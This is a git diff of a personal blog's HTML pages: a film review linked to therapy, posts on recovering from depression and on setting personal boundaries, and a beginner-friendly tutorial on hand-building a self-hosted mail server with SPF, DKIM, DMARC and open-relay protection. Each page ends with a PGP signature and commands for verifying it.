    Frank is in love with Jack Daniel’s and cannot get enough of it. +Throughout the movie this drunk, addiction-like behaviour is portrayed.

    Frank also learns about a problem Chris is facing. +Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. +He doesn’t want to snitch, but frank learns about this, he encourages him to take the deal.

    Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. +There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! +He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. +The feelings I got were so strong and positive that I just cannot express!

    In the end, when Frank wants to take his own life, Chris stops him and talks him out of it. +He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). +A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! +The officer didn’t even recognize Frank was blind!!!!

    After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris’s parent.

    Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! +How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father’s back was.

    In essense, the movie was amazing, with great acting all over it. +The characters portreayed their roles as amazingly as possible. +I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.

    The story was also amazing. +Characters really added life to the scenes by their amazing play. +Donna did the tango dance professionaly. +Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.

    That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?

    Was it about Frank? +That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? +But Frank gave so much back to Chris. +I guess it is the same for me too, I’m also getting a lot back while making some sacrifices.

    Or maybe was it about that amazing Tango dancing scene? +The sensations that Frank describes about relationships, and how he interacts with woman?

    I honestly do not know. +I just know that watching the movie gave me good feelings. +That I’m a happier Iman than the Iman I was before watching it. +That my feelings and experiences are not abnormal, they are valid. +That I’m on the right track, but still need time to figure out the way. +That I shouldn’t worry too much. +That I should look at everything as a way to have “fun”. +That I shouldn’t overthink things. +That if I mess up, oh well, I should take the responsibility and move on.

    I don’t know what the intention of my therapist was, but I’m so curious! +I want to figure it out. :) +Fell free to cross your fingers for me!


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSqQCQ/9EAs8l5fvPCqCfZFBipGWtTJewjXdcCu13/WfX66vXjBdPxzL5pLkLV7Q
    +m6IiKs5GoxJFgNEyfNSjjBNj+NeqxgmYqlephJtf5ubTW+IuSMkinSyvVwkKrxAX
    +QA+1Imf7/4QTyUB6/L+19jk+1Yl2E0IVyJVWbuE0G/ZsB0TiTI/0Te3aKFdIv3lj
    +OAProXMLAaCpasabz8+kQBQsul12h0cjG7A+TSaTgaM+WnE8RuC6C0KV//YeUfvN
    +DuyXHU9DVklkbGSblZw8EKSwLqlbCoPKixeRjVT45OG41eGmGzxYOBEb57zYEfkZ
    +Zmgo6Y8g2fYYU1wMj5bIylfFut0TqenCxSzJX4xqLnAhw0fx9kLCY1aoxR/Mfub5
    +wVNf/2vL14Ef4kfMWg8POj1WrgZc+pSqWUONnTn0yBIl9rjk1LSe9IMtjBHnrIDd
    +GIwrhoAinO9Qyj7UOyoFFCj6JMnLcnhx5Cwn5EGRS9PSrbUbZdFDuYVQ74R/AEHf
    +VX1qD1UK0k84FsHhLLflEPiZypxIZsrXS+BpKKG5wi7mFopvUFuZoPbHdmK2856P
    +e9zZL9e7VOjODn00zR/b6iDMoLUdOxw0rey2LOoNx9Gw42zYb5vuw1djNOgE9D1R
    +57hf02VIRab5Q1ROOnfl05pv1bY5JMQO4Zcp5Me3OFmiQwl/KYU=
    +=/VjG
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/scent_of_a_woman.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/scent_of_a_woman.md.asc
    +gpg --verify scent_of_a_woman.md.asc scent_of_a_woman.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/seeing_the_light/index.html b/public-clearnet/posts/seeing_the_light/index.html new file mode 100644 index 0000000..4eb0ce3 --- /dev/null +++ b/public-clearnet/posts/seeing_the_light/index.html @@ -0,0 +1,35 @@ +Seeing the "Light" | AlipourIm journeys +

    Seeing the "Light"

    I have a strong hunch that I made it. I beat my MDD. I’m finally happy! I’m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.

    Currently I’m sitting in Hamburg’s CCH, being an Angel in disguise. ;D

    I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.

    I also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he’s been wanting to talk to me about… well… something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about.

    He kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to “give time to time”. So… yea. Idk. She will probably talk to me about this as time goes on. I don’t want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch.

    Another funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it.

    As time goes by, and as I become more experienced, I feel more relieved.


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr7aBAAgOSc2FBGLiHK+6odcxj1VJGnhkV2ibMv8M1e1v1qzIu8wpBBhOzP/XCm
    +YQhFqtn6LIB2XWMnKjLagYTNgn8jWirAHC95QkoILsoAdShPvh57Tt+DKmZnHJlz
    +siRwHqE/+peFHpqfjwUf7GLzF/AeiFD3Se3nSPjRe4olRiUDMMhPvNDBW1seQqKn
    +y4CzVsjVClxVCyUf4b361F07+XuGv3kmKOnWTV3suLZykpWpxiQTRdq+jI7DBZKK
    +ZKimruFbc7iYVaQOs0biNXL2MFn9JXEvqAApPkkJ85JfVwvhDieThu+sw0+EQoc0
    +riFVnb2+TK1OSkAu7w7HFLcUY0gGZ4+lrmTQDpsEO69xcFXMyZZQDW/B4qnj2qo0
    +kp267oEPRToficNjpTKu0VhKtEaDNh5JMasxSEdwzehNp6K1Hp6LdRiVPEArWnxZ
    +jL35SgQzElB5ifYy3CYjTj2CA/qxC01OZrzoPbia9RLsdFBJEscYrSGBAqqRgZ/+
    +KTK/nsubJQtXF0Ui7fCZS/Dv4iR3tH0hyDi+w+mYWRzzFq0jnQsBYYu3QmjuhU+V
    +hfZHIYkH3yQV7k4XCa3wpMvnwC7I1od4ZmCjB98ITaz8U+BVHRT//Y2w6Xnd1OJi
    +terYCiMGVC5sJzaUw8ZGfMf0l78J8X8B5KD+ZBtAs12NdekX/V4=
    +=xRmw
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/seeing_the_light.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/seeing_the_light.md.asc
    +gpg --verify seeing_the_light.md.asc seeing_the_light.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/self_hosting_mail/index.html b/public-clearnet/posts/self_hosting_mail/index.html new file mode 100644 index 0000000..fc551a8 --- /dev/null +++ b/public-clearnet/posts/self_hosting_mail/index.html @@ -0,0 +1,32 @@ +Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again).

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.


    Why I bothered

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.


    How email actually moves

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.


    The shape of my setup

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.


    Port 25 is for servers; port 587 is for people

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.


    What an “open relay” is, and why localhost lies to you

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”


    DNS, but make it human

    The forward map (name → number)

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    Why Cloudflare’s orange cloud is not invited

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.


    PTR records: the phonebook in reverse

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.


    SPF, DKIM, and DMARC: three different questions

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.


    Building the unglamorous core

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.


    The Matrix certificate heist (that wasn’t a heist)

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.


    From Linux users to real mailboxes

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    One setting decides whether this feels cursed or calm: mydestination.

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.


    Webmail without losing the plot

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”


    The bounce emails that taught me about identity

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.


    What “done” means for me

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.



    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/setting_boundries/index.html b/public-clearnet/posts/setting_boundries/index.html new file mode 100644 index 0000000..ed84a28 --- /dev/null +++ b/public-clearnet/posts/setting_boundries/index.html @@ -0,0 +1,34 @@ +Setting Boundries | AlipourIm journeys +

    Setting Boundries

    I was watching this video the other day. It’s an interesting video imo. This is something I’ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?

    Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other’s respect. Naturally that evolved into me becoming a people please. A so called “nice person”. I’ve even been made fun of with those words.

    All of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I’m broken. When people act cold with me, I assume they don’t like me. Then I want to fix things. Then I become annoying. I look like an “anxiously attached” person.

    But then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It’s sad, and it’s eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please.

    So… I made a decision. To stay away from everyone. To make distance.

    The doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don’t want to lose. But it’s part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place?

    The part I’m making mistake in is that everyone thinks something bad has happened. And they “probably” expect me to talk to them about it. Now this is the part I had to work on. The “setting boundry” part. I don’t know if I can do it respectfully or not. I know I will break if I talk.

    I don’t really like to stay away from people, to push my friends away. But for now, I have to. I hope I won’t regret any of these actions. I hope I can heal. I don’t know what will happen next, I just know that I don’t want to hangout in large groups for a while. I don’t want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won’t turn into an incel. I know I won’t. I know I push through. I know…


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbusACgkQtYgoUOBM
    +jSpGcg/+O/7gsSe5s82yq4fSOU0rrioTf3+LMkSl7ceo+gPJlW4CiGfkvYqQ2Gvo
    +7IFLlxYoThRgcQ02jJxDA6dm8Uqy9566I6yBhi4Prn2EDIH0GKOjCrbSak9HGPE2
    +HtL9BrHaU+kAbeh03Pr1RJ1jH/LDqDRTbrV6jZzN7bnCut4cPwW3ItX69VobFq2/
    +v+mJtSU6DTllTVJFomaDx0K8fX1hmLDHfgGT/UEGdWj/Zx6RFCBU3195GThm+3Gv
    +Dg5fX1vj9ZEtNMr1T+lWEfpeECqa04c4wRxkXEIrS2DcLnz7gCl49can0nGVehJr
    +vyx4WJ2eeG+spDG8cYPK9nTGu7xrsw5TxmPjkGbMe7A6lOtedbsCuJeyx8YWFk3c
    ++O0170uxBWoAF2ugA986PZ13eUU6F9BxXzj+bQV72LdqL6eszUFyeuhxHuMs0Q9s
    +EjrKVkFsHZaMuc1r2mcYRZG+BkgyELZiyBnToNj6IRwmno6XwGpjfEb9PJ/MZ+sf
    +OLQReEoQRCf5Xaj3ZACRq7zk8UCHpu22MkyNMLd97YSuRGu7JyD/88OHigakjmdJ
    +oCML5WEG+9/EIcEfSj+GdUA5fEdzXB/FJ2SoUHzQQWiFtxUqKKCPlvM3rqCfwsLE
    +CIQBkMt8eJ7gUq+xQAg+BosLLMl1PgCQCOMml0omPyDv36vbnos=
    +=oJ5s
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/setting_boundries.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/setting_boundries.md.asc
    +gpg --verify setting_boundries.md.asc setting_boundries.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
